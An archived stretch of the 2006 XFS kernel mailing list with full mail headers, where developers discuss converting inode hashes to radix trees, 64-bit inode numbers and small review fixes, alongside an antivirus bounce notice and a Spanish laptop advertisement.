<20061003060610.GV3024@melbourne.sgi.com> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22497 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9160 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: xfs Status: O On Tue, Oct 03, 2006 at 04:06:10PM +1000, David Chinner wrote: > Overall, the patchset removes more than 200 lines of code from the > xfs inode caching and lookup code and provides more consistent > scalability for large numbers of cached inodes. The only down side > is that it limits us to 32 bit inode numbers of 32 bit platforms due > to the way the radix tree uses unsigned longs for it's indexes commit afefdbb28a0a2af689926c30b94a14aea6036719 tree 6ee500575cac928cd90045bcf5b691cf2b8daa09 parent 1d32849b14bc8792e6f35ab27dd990d74b16126c author David Howells 1159863226 -0700 committer Linus Torvalds 1159887820 -0700 [PATCH] VFS: Make filldir_t and struct kstat deal in 64-bit inode numbers These patches make the kernel pass 64-bit inode numbers internally when communicating to userspace, even on a 32-bit system. They are required because some filesystems have intrinsic 64-bit inode numbers: NFS3+ and XFS for example. The 64-bit inode numbers are then propagated to userspace automatically where the arch supports it. [...] Doing this will mean XFS won't be able to support 32-bit inodes on 32-bit platforms the above (merged) patch --- though given that cheap 64-bit systems are now abundant does anyone really care? From owner-xfs@oss.sgi.com Tue Oct 3 15:23:54 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 03 Oct 2006 15:24:05 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k93MNoaG014113 for ; Tue, 3 Oct 2006 15:23:53 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id IAA24020; Wed, 4 Oct 2006 08:23:03 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k93MN0pj18348244; Wed, 4 Oct 2006 08:23:00 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k93MMuqn20491815; Wed, 4 Oct 2006 08:22:56 +1000 (AEST) Date: Wed, 4 Oct 2006 08:22:56 +1000 From: David Chinner To: Chris Wedgwood Cc: David Chinner , xfs-dev@sgi.com, xfs@oss.sgi.com, dhowells@redhat.com, LKML Subject: Re: [RFC 0/3] Convert XFS inode hashes to radix trees Message-ID: <20061003222256.GW4695059@melbourne.sgi.com> References: <20061003060610.GV3024@melbourne.sgi.com> <20061003212335.GA13120@tuatara.stupidest.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061003212335.GA13120@tuatara.stupidest.org> User-Agent: Mutt/1.4.2.1i X-archive-position: 9161 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Tue, Oct 03, 2006 at 02:23:35PM -0700, Chris Wedgwood wrote: > On Tue, Oct 03, 2006 at 04:06:10PM +1000, David Chinner wrote: > > Overall, the patchset removes more than 200 lines of code from the > > xfs inode caching and lookup code and provides more consistent > > scalability for large numbers of cached inodes. The only down side > > is that it limits us to 32 bit inode numbers of 32 bit platforms due > > to the way the radix tree uses unsigned longs for it's indexes > > commit afefdbb28a0a2af689926c30b94a14aea6036719 > tree 6ee500575cac928cd90045bcf5b691cf2b8daa09 > parent 1d32849b14bc8792e6f35ab27dd990d74b16126c > author David Howells 1159863226 -0700 > committer Linus Torvalds 1159887820 -0700 > > [PATCH] VFS: Make filldir_t and struct kstat deal in 64-bit inode numbers > > These patches make the kernel pass 64-bit inode numbers internally when > communicating to userspace, even on a 32-bit system. They are required > because some filesystems have intrinsic 64-bit inode numbers: NFS3+ and XFS > for example. The 64-bit inode numbers are then propagated to userspace > automatically where the arch supports it. > [...] > > Doing this will mean XFS won't be able to support 32-bit inodes on > 32-bit platforms the above (merged) patch --- though given that cheap > 64-bit systems are now abundant does anyone really care? That's a good question. In a recent thread on linux-fsdevel about these patches Christoph Hellwig pointed out that 32bit user space is not ready for 64 bit inodes, so it's probably going to be a while before the second half of this mod is ready (which exports 64 bit inodes ito userspace on 32bit platforms). http://marc.theaimsgroup.com/?l=linux-fsdevel&m=115946211808497&w=2 http://marc.theaimsgroup.com/?l=linux-fsdevel&m=115948836023569&w=2 ISTR someone else also menitoning that 64bit inodes on 32-bit machines also breaks the dynamic linker, but I can't find a reference to that atm. As it stands, there's still a few barriers to getting 64 bit inodes on 32 bit platforms and I can't see them going away quickly. Right now I see little reason in moving to 64 bit inodes for 32 bit platforms for XFS because of the 16TB filesystem size limit (that only needs 33-36 bit inodes depending on the inode size) and no 32bit platform is currently able to repair a filesystem of that size. And yes, 64 bit systems are cheap, cheap, cheap so IMO this functionality is really irrelevant moving forward. If it had come along a couple of years ago then it would be different, but I think mainstream technology is finally catching up with XFS so it's not a critical issue anymore... ;) Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Tue Oct 3 15:34:48 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 03 Oct 2006 15:34:56 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k93MYkaG015505 for ; Tue, 3 Oct 2006 15:34:48 -0700 X-ASG-Debug-ID: 1159911330-5649-459-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from REFGFI01.BAH.BAPCO.INT (unknown [82.194.46.27]) by cuda.sgi.com (Spam Firewall) with ESMTP id 610DE46ADD0 for ; Tue, 3 Oct 2006 14:35:31 -0700 (PDT) Received: from refesg01.bah.bapco.int ([10.1.1.224]) by REFGFI01.BAH.BAPCO.INT with Microsoft SMTPSVC(6.0.3790.1830); Wed, 4 Oct 2006 00:38:35 +0300 From: esafe@bapco.net To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Alert from eSafe: transcript.zip\transcript.html .pif Infected with Win32.Mydoom.m Subject: Alert from eSafe: transcript.zip\transcript.html .pif Infected with Win32.Mydoom.m Date: Sun, 04 Oct 2006 00:38:35 +0300 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-ID: X-OriginalArrivalTime: 03 Oct 2006 21:38:35.0604 (UTC) FILETIME=[47D42940:01C6E734] X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=NO_REAL_NAME, SUBJ_HAS_SPACES X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22497 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.65 SUBJ_HAS_SPACES Subject contains lots of white space X-archive-position: 9162 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: esafe@bapco.net Precedence: bulk X-list: xfs Status: O ====================================================== Bapco detected hostile or unwanted content in this message. If you believe this is in error, please resend the whole message to: bapcoitd@gmail.com Please make sure that you specify the recipient email address(es) in your message. Your email will be manually inspected and if found to be safe and in accordance with Bapco's email policy, itwill be forwarded to the intended recipient. ====================================================== Time: 04 Oct 2006 00:38:35 Scan result: Mail modified to remove malicious content Protocol: SMTP in File Name\Mail Subject: Returned mail: see transcript for details Source: 67.109.159.150 Destination: Mail Sender: linux-xfs@oss.sgi.com Mail Recipients: husain_naser@bapco.net Details: transcript.zip\transcript.html .pif Infected with Win32.Mydoom.m, Blocked From owner-xfs@oss.sgi.com Tue Oct 3 16:24:31 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 03 Oct 2006 16:24:42 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k93NOTaG024237 for ; Tue, 3 Oct 2006 16:24:30 -0700 X-ASG-Debug-ID: 1159914366-19034-458-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from prod.aconex.com (mail.app.aconex.com [203.89.192.138]) by cuda.sgi.com (Spam Firewall) with ESMTP id 28482D17A48E for ; Tue, 3 Oct 2006 15:26:06 -0700 (PDT) Received: from page.mel.office.aconex.com (unknown [192.168.0.210]) by prod.aconex.com (Postfix) with ESMTP id 6AF8028110; Wed, 4 Oct 2006 08:26:05 +1000 (EST) Received: from localhost (page.mel.aconex.com [127.0.0.1]) by page.mel.office.aconex.com (Postfix) with ESMTP id 521FB5340FA; Wed, 4 Oct 2006 08:26:05 +1000 (EST) Received: from page.mel.office.aconex.com ([127.0.0.1]) by localhost (mail.aconex.com [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 06415-01-23; Wed, 4 Oct 2006 08:26:04 +1000 (EST) Received: from edge (unknown [192.168.0.246]) by page.mel.office.aconex.com (Postfix) with ESMTP id A6E175340F7; Wed, 4 Oct 2006 08:26:04 +1000 (EST) X-ASG-Orig-Subj: Re: Review: clean up inode i_flags handling Subject: Re: Review: clean up inode i_flags handling From: Nathan Scott Reply-To: nscott@aconex.com To: David Chinner Cc: xfs@oss.sgi.com In-Reply-To: <20061003051325.GR4695059@melbourne.sgi.com> References: <20061003051325.GR4695059@melbourne.sgi.com> Content-Type: text/plain Organization: Aconex Date: Wed, 04 Oct 2006 08:26:13 +1000 Message-Id: <1159914373.32536.9.camel@edge> Mime-Version: 1.0 X-Mailer: Evolution 2.6.3 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22498 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9163 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: nscott@aconex.com Precedence: bulk X-list: xfs Status: O On Tue, 2006-10-03 at 15:13 +1000, David Chinner wrote: > This part seems like overkill, I'd just do that inline like the clear variant, since its just one instruction ... +static inline void +__xfs_iflags_set(xfs_inode_t *ip, unsigned short flags) +{ + ip->i_flags |= flags; +} Oh, ditto for the test inline func, I guess. cheers. -- Nathan From owner-xfs@oss.sgi.com Tue Oct 3 16:34:34 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 03 Oct 2006 16:34:38 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k93NYYaG025282 for ; Tue, 3 Oct 2006 16:34:34 -0700 X-ASG-Debug-ID: 1159913833-2354-455-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from prod.aconex.com (mail.app.aconex.com [203.89.192.138]) by cuda.sgi.com (Spam Firewall) with ESMTP id A5906469BBB for ; Tue, 3 Oct 2006 15:17:13 -0700 (PDT) Received: from page.mel.office.aconex.com (unknown [192.168.0.210]) by prod.aconex.com (Postfix) with ESMTP id 657672880B; Wed, 4 Oct 2006 08:17:11 +1000 (EST) Received: from localhost (page.mel.aconex.com [127.0.0.1]) by page.mel.office.aconex.com (Postfix) with ESMTP id 53B855340F7; Wed, 4 Oct 2006 08:17:11 +1000 (EST) Received: from page.mel.office.aconex.com ([127.0.0.1]) by localhost (mail.aconex.com [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 06415-01-9; Wed, 4 Oct 2006 08:17:10 +1000 (EST) Received: from edge (unknown [192.168.0.246]) by page.mel.office.aconex.com (Postfix) with ESMTP id 888955340F1; Wed, 4 Oct 2006 08:17:10 +1000 (EST) X-ASG-Orig-Subj: Re: Review: prevent deadlock via async iput from xfs_iunpin Subject: Re: Review: prevent deadlock via async iput from xfs_iunpin From: Nathan Scott Reply-To: nscott@aconex.com To: David Chinner Cc: xfs@oss.sgi.com In-Reply-To: <20061003050654.GQ4695059@melbourne.sgi.com> References: <20061003050654.GQ4695059@melbourne.sgi.com> Content-Type: text/plain Organization: Aconex Date: Wed, 04 Oct 2006 08:17:19 +1000 Message-Id: <1159913839.32536.4.camel@edge> Mime-Version: 1.0 X-Mailer: Evolution 2.6.3 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22497 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9164 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: nscott@aconex.com Precedence: bulk X-list: xfs Status: O On Tue, 2006-10-03 at 15:06 +1000, David Chinner wrote: > In fixing the recent problems with inode use-after-free in > xfs_iunpin, we introduced a new deadlock. When iput() is called, it > can trigger new transactions on the inode if we are dropping the > final reference. This is a bad thing to do from a xfslogd because it > is theonly thread that can move the tail of the log forwards. *nod*, sounds reasonable & your fix looks good to me, Dave. cheers. -- Nathan From owner-xfs@oss.sgi.com Tue Oct 3 16:59:26 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 03 Oct 2006 16:59:29 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k93NxOaG028101 for ; Tue, 3 Oct 2006 16:59:26 -0700 X-ASG-Debug-ID: 1159919923-21350-743-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from prod.aconex.com (mail.app.aconex.com [203.89.192.138]) by cuda.sgi.com (Spam Firewall) with ESMTP id 57C7246A3A7 for ; Tue, 3 Oct 2006 16:58:43 -0700 (PDT) Received: from page.mel.office.aconex.com (unknown [192.168.0.210]) by prod.aconex.com (Postfix) with ESMTP id D555328A25; Wed, 4 Oct 2006 09:58:41 +1000 (EST) Received: from localhost (page.mel.aconex.com [127.0.0.1]) by page.mel.office.aconex.com (Postfix) with ESMTP id C391F53403A; Wed, 4 Oct 2006 09:58:41 +1000 (EST) Received: from page.mel.office.aconex.com ([127.0.0.1]) by localhost (mail.aconex.com [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 24848-01-37; Wed, 4 Oct 2006 09:58:41 +1000 (EST) Received: from edge (unknown [192.168.0.246]) by page.mel.office.aconex.com (Postfix) with ESMTP id 000D4534039; Wed, 4 Oct 2006 09:58:40 +1000 (EST) X-ASG-Orig-Subj: Re: Review: clean up inode i_flags handling Subject: Re: Review: clean up inode i_flags handling From: Nathan Scott Reply-To: nscott@aconex.com To: David Chinner Cc: xfs@oss.sgi.com In-Reply-To: <1159914373.32536.9.camel@edge> References: <20061003051325.GR4695059@melbourne.sgi.com> <1159914373.32536.9.camel@edge> Content-Type: text/plain Organization: Aconex Date: Wed, 04 Oct 2006 09:58:50 +1000 Message-Id: <1159919930.32536.14.camel@edge> Mime-Version: 1.0 X-Mailer: Evolution 2.6.3 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22501 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9165 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: nscott@aconex.com Precedence: bulk X-list: xfs Status: O On Wed, 2006-10-04 at 08:26 +1000, Nathan Scott wrote: > On Tue, 2006-10-03 at 15:13 +1000, David Chinner wrote: > > > > This part seems like overkill, I'd just do that inline like the clear > variant, since its just one instruction ... > ..but I guess you did it for consistency, as that one instruction is otherwise going to have to be open coded in a few places ... *shrug* looks good to me either way. cheers. -- Nathan From owner-xfs@oss.sgi.com Tue Oct 3 17:54:33 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 03 Oct 2006 17:54:37 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k940sWaG002037 for ; Tue, 3 Oct 2006 17:54:33 -0700 X-ASG-Debug-ID: 1159923230-14425-816-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp110.sbc.mail.mud.yahoo.com (smtp110.sbc.mail.mud.yahoo.com [68.142.198.209]) by cuda.sgi.com (Spam Firewall) with SMTP id B8DB24676ED for ; Tue, 3 Oct 2006 17:53:50 -0700 (PDT) Received: (qmail 31437 invoked from network); 4 Oct 2006 00:47:10 -0000 Received: from unknown (HELO stupidest.org) (cwedgwood@sbcglobal.net@70.132.27.77 with login) by smtp110.sbc.mail.mud.yahoo.com with SMTP; 4 Oct 2006 00:47:10 -0000 Received: by tuatara.stupidest.org (Postfix, from userid 10000) id A25B01824260; Tue, 3 Oct 2006 17:47:08 -0700 (PDT) Date: Tue, 3 Oct 2006 17:47:08 -0700 From: Chris Wedgwood To: David Chinner Cc: xfs-dev@sgi.com, xfs@oss.sgi.com, dhowells@redhat.com, LKML X-ASG-Orig-Subj: Re: [RFC 0/3] Convert XFS inode hashes to radix trees Subject: Re: [RFC 0/3] Convert XFS inode hashes to radix trees Message-ID: <20061004004708.GA17969@tuatara.stupidest.org> References: <20061003060610.GV3024@melbourne.sgi.com> <20061003212335.GA13120@tuatara.stupidest.org> <20061003222256.GW4695059@melbourne.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061003222256.GW4695059@melbourne.sgi.com> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22504 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9166 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: xfs Status: O On Wed, Oct 04, 2006 at 08:22:56AM +1000, David Chinner wrote: > That's a good question. In a recent thread on linux-fsdevel about > these patches Christoph Hellwig pointed out that 32bit user space is > not ready for 64 bit inodes, so it's probably going to be a while > before the second half of this mod is ready (which exports 64 bit > inodes ito userspace on 32bit platforms). yes a patch changing struct kstat and filldir* was merged... > http://marc.theaimsgroup.com/?l=linux-fsdevel&m=115946211808497&w=2 > http://marc.theaimsgroup.com/?l=linux-fsdevel&m=115948836023569&w=2 > As it stands, there's still a few barriers to getting 64 bit inodes > on 32 bit platforms and I can't see them going away quickly. Right > now I see little reason in moving to 64 bit inodes for 32 bit > platforms for XFS because of the 16TB filesystem size limit (that > only needs 33-36 bit inodes depending on the inode size) and no > 32bit platform is currently able to repair a filesystem of that > size. so that leaves NFS3+ is it really worth the pain then? From owner-xfs@oss.sgi.com Tue Oct 3 18:07:52 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 03 Oct 2006 18:07:56 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9417paG003365 for ; Tue, 3 Oct 2006 18:07:52 -0700 X-ASG-Debug-ID: 1159919913-12520-206-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from huayna1.entelnet.bo (huayna1.entelnet.bo [200.87.100.31]) by cuda.sgi.com (Spam Firewall) with ESMTP id E6219D17B26F for ; Tue, 3 Oct 2006 16:58:33 -0700 (PDT) Received: from conversion-daemon.huayna1.entelnet.bo by huayna1.entelnet.bo (MTA version 1.0) id <0J6L0070136N0W00@huayna1.entelnet.bo> (original mail from novedades-bolivia@bolivianstore.com) for linux-xfs@oss.sgi.com; Tue, 03 Oct 2006 19:54:47 -0400 (BOT) Received: from VPM-BOLIVIAMALL ([200.87.242.5]) by huayna1.entelnet.bo (MTA version 1.0) with SMTP id <0J6L008ZY3K659E0@huayna1.entelnet.bo>; Tue, 03 Oct 2006 19:51:14 -0400 (BOT) Date: Tue, 03 Oct 2006 19:45:36 -0400 From: "BoliviaMall.com" X-ASG-Orig-Subj: Especial de Portatiles y Accesorios en BoliviaMall Subject: Especial de Portatiles y Accesorios en BoliviaMall To: "Usuarios BoliviaMall.com" Message-id: Organization: BoliviaMall.com MIME-version: 1.0 X-Barracuda-Spam-Score: 0.38 X-Barracuda-Spam-Status: No, SCORE=0.38 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_FONT_BIG, HTML_TAG_EXIST_TBODY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22502 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.13 HTML_TAG_EXIST_TBODY BODY: HTML has "tbody" tag 0.26 HTML_FONT_BIG BODY: HTML tag for a big font size Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Content-length: 2822 X-archive-position: 9167 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: novedades-bolivia@bolivianstore.com Precedence: bulk X-list: xfs Status: O =20 =20=20=20 =20 =20 "ESPECIAL DE PORT=C1TILES Y ACCESORIOS=20 ...=20 =20 =20 Visite nuestro Sitio Web y descubra las =FAltimas=20 novedades: www.boliviamall.com=20 LA PAZ: Tel. 239-0236 / 235-2591 e-mail: electronicos@boliviamall.com=20 SANTA CRUZ: Tel. 355-1611 / 358-4479 e-mail: electronicos@boliviamall.com=20 =20 EN BOLIVIAMALL LOS ENV=CDOS SON SIEMPRE GRATUITOS A=20 CUALQUIER PUNTO DEL PA=CDS=20 VARIEDAD DE PORT=C1TILES EN TODAS LAS MARCAS, =A1=A1=A1ENCUENTRA LA=20 TUYA!!! =20 =20=20 =20 =20 =20 =20=20 =20 =20 =20=20 Dell Inspiron 1300 Celeron 1.6GHz/ 256=20 MB 40GB /Combo DVD/ Windows $1099.00=20 =20 =20 Acer Aspire=20 3624 Celeron 1.5GHz/ 256 MB 40GB /CD-RW/=20 Windows $1075.00=20 =20 Tecra L2 S022 Pentium M 1.7GHz/ 512=20 MB 60GB /DVD- CDRW/ 15" $1439.00=20 =20 =20 HP NX 6120 Sempron 3200 1.6GHz/ 256 MB 40GB /Combo DVD/=20 Linux $1075.00=20 =20=20 =20 =20 =20 Toshiba=20 Satellite R25 S3503 Intel Core duo 1.6 Ghz/=20 1 GB/ 100 GB/ DVD+RW/Windows=20 $2429.00=20 Toshiba Tecra A5=20 SP519 Pentium M=20 1.7Ghz / 512 MB, 60 GB/ CD-RW=20 $1617.00 =20 Toshiba A100 SP621 Pentium M 1.7GHz /1 GB/ 60=20 GB/DVD supermutli/ Windows XP $1799.00 =20 HP Compaq M2405LA 256 MBz, 480 GB,=20 15" DVD/CD-RW=20 $855.00 =20 =20 =20 =20 =20 Tecra A6 SP561 Intel Core=20 duo 1.6 Ghz/512MB/ 80 GB/ CD-RW - DVD/ 14.1/=20 Windows XP Pro=20 $1835.00 =20 Toshiba P105-S6024 Core duo 1.6 GHz/ 1GB, 100 GB, 17"/=20 DVD+R/RW=20 $2235.00 =20 Satellite=20 A105-S4084 Core duo 1.6 GHz/ 1GB, 100 GB, 17"/=20 DVD+R/RW=20=20 $2121.00 =20 Lenovo 3000 C100 512 MB, 80 GB,=20 15" DVD/CD-RW=20 $1645.00 =20=20 =20=20 =20 Cable de=20 seguridad=20 para=20 notebook $49.00 =20 Floppy externo=20 para=20 notebook $45.00 =20 =20 Disco duro samsung=20=20 80GB=20 para=20 notebook $135.00 =20 Docking station=20 para=20 notebook $115.00=20=20=20=20=20=20=20=20=20 =20 =20 Mochila Targus PR600 para 15" $109.00 Ver m=E1s =20 =20 Maletin Targus TUL 400=20=20=20=20=20=20 para notebooks de 15"=20=20=20=20=20 $140.00=20=20=20=20=20 =20 =20 =20=20 Este mensaje fue dise=F1ado en html. Si prefiere=20 recibir la versi=F3n de solo texto, re-env=EDenos este mail incluyendo "NO = HTML" en=20 el asunto. Este mensaje se env=EDa con la complacencia de las normativas=20 internacionales sobre SPAM, este e-mail no podr=E1 ser considerado SPAM mie= ntras=20 incluya una forma de ser removido. Los e-mails tomados para el env=EDo de e= ste=20 mensaje son los recogidos de nuestras bases de datos de usuarios registrado= s,=20 recomendados, y sorteos Si hubiese recibido este mail por error o no le int= eresa=20 seguir recibi=E9ndolo m=E1s, re-env=EDenos este mail y escribiendo "REMOVER= " en el asunto. [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Tue Oct 3 18:44:50 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 03 Oct 2006 18:44:54 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k941ihaG006744 for ; Tue, 3 Oct 2006 18:44:46 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA28111; Wed, 4 Oct 2006 11:43:46 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k941hgpj20611878; Wed, 4 Oct 2006 11:43:42 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k941hYM420593308; Wed, 4 Oct 2006 11:43:34 +1000 (AEST) Date: Wed, 4 Oct 2006 11:43:34 +1000 From: David Chinner To: David Chinner Cc: Chris Wedgwood , xfs-dev@sgi.com, xfs@oss.sgi.com, dhowells@redhat.com, LKML Subject: Re: [RFC 0/3] Convert XFS inode hashes to radix trees Message-ID: <20061004014334.GZ4695059@melbourne.sgi.com> References: <20061003060610.GV3024@melbourne.sgi.com> <20061003212335.GA13120@tuatara.stupidest.org> <20061003222256.GW4695059@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061003222256.GW4695059@melbourne.sgi.com> User-Agent: Mutt/1.4.2.1i X-archive-position: 9168 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Wed, Oct 04, 2006 at 08:22:56AM +1000, David Chinner wrote: > On Tue, Oct 03, 2006 at 02:23:35PM -0700, Chris Wedgwood wrote: > > On Tue, Oct 03, 2006 at 04:06:10PM +1000, David Chinner wrote: > > > Overall, the patchset removes more than 200 lines of code from the > > > xfs inode caching and lookup code and provides more consistent > > > scalability for large numbers of cached inodes. The only down side > > > is that it limits us to 32 bit inode numbers of 32 bit platforms due > > > to the way the radix tree uses unsigned longs for it's indexes > > > > commit afefdbb28a0a2af689926c30b94a14aea6036719 > > tree 6ee500575cac928cd90045bcf5b691cf2b8daa09 > > parent 1d32849b14bc8792e6f35ab27dd990d74b16126c > > author David Howells 1159863226 -0700 > > committer Linus Torvalds 1159887820 -0700 > > > > [PATCH] VFS: Make filldir_t and struct kstat deal in 64-bit inode numbers > > > > These patches make the kernel pass 64-bit inode numbers internally when > > communicating to userspace, even on a 32-bit system. They are required > > because some filesystems have intrinsic 64-bit inode numbers: NFS3+ and XFS > > for example. The 64-bit inode numbers are then propagated to userspace > > automatically where the arch supports it. > > [...] > > > > Doing this will mean XFS won't be able to support 32-bit inodes on > > 32-bit platforms the above (merged) patch --- though given that cheap > > 64-bit systems are now abundant does anyone really care? > > That's a good question. In a recent thread on linux-fsdevel about > these patches Christoph Hellwig pointed out that 32bit user space is > not ready for 64 bit inodes, so it's probably going to be a while > before the second half of this mod is ready (which exports 64 bit > inodes ito userspace on 32bit platforms). Ahhh.... I think I misread what Chris wrote here - _32_ bit inodes on 32 bit platforms not working? I can't see how this would be the case with the mods I posted given that they are entirely internal to XFS and don't change any external inode number interfaces. And the above commit shouldn't break XFS either. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Wed Oct 4 02:41:20 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 04 Oct 2006 02:41:25 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id 